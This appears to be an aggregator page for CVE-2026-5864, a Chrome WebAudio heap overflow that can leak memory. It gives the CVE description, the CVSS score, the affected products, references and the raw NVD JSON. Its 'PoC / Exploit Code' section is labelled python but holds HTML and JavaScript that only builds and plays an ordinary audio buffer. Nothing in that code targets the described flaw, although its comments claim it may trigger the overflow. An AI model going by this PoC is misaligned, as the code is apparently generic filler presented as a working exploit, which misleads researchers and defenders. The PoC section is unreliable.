CVE-2026-5864

Description

Heap buffer overflow in WebAudio in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-5864 -->
<!-- This PoC demonstrates potential trigger in WebAudio component -->
<!DOCTYPE html>
<html>
<body>
<script>
    // Create AudioContext
    const audioCtx = new (window.AudioContext || window.webkitAudioContext)();
    
    // Create a buffer with specific parameters to potentially trigger overflow
    const duration = 1; 
    const frameCount = audioCtx.sampleRate * duration;
    const buffer = audioCtx.createBuffer(1, frameCount, audioCtx.sampleRate);
    
    // Fill buffer with crafted data
    const data = buffer.getChannelData(0);
    for (let i = 0; i < frameCount; i++) {
        // Using specific pattern to attempt to trigger the overflow condition
        data[i] = (i % 2 === 0) ? 1.0 : -1.0;
    }

    // Create source and connect to destination
    const source = audioCtx.createBufferSource();
    source.buffer = buffer;
    source.connect(audioCtx.destination);
    
    // Start playback to trigger the processing
    try {
        source.start(0);
        console.log("[+] PoC executed: WebAudio processing started.");
        console.log("[+] Check for crashes or memory disclosure in debugger.");
    } catch (e) {
        console.log("[-] Error during PoC execution:", e);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5864
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5864
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5864/
[4] VulDB https://vuldb.com/cve/CVE-2026-5864
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/490642831

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5864", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:25.907", "lastModified": "2026-04-14T13:16:22.657", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in WebAudio in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/490642831", "source": "[email protected]", "tags": ["Permissions Required"]}]}}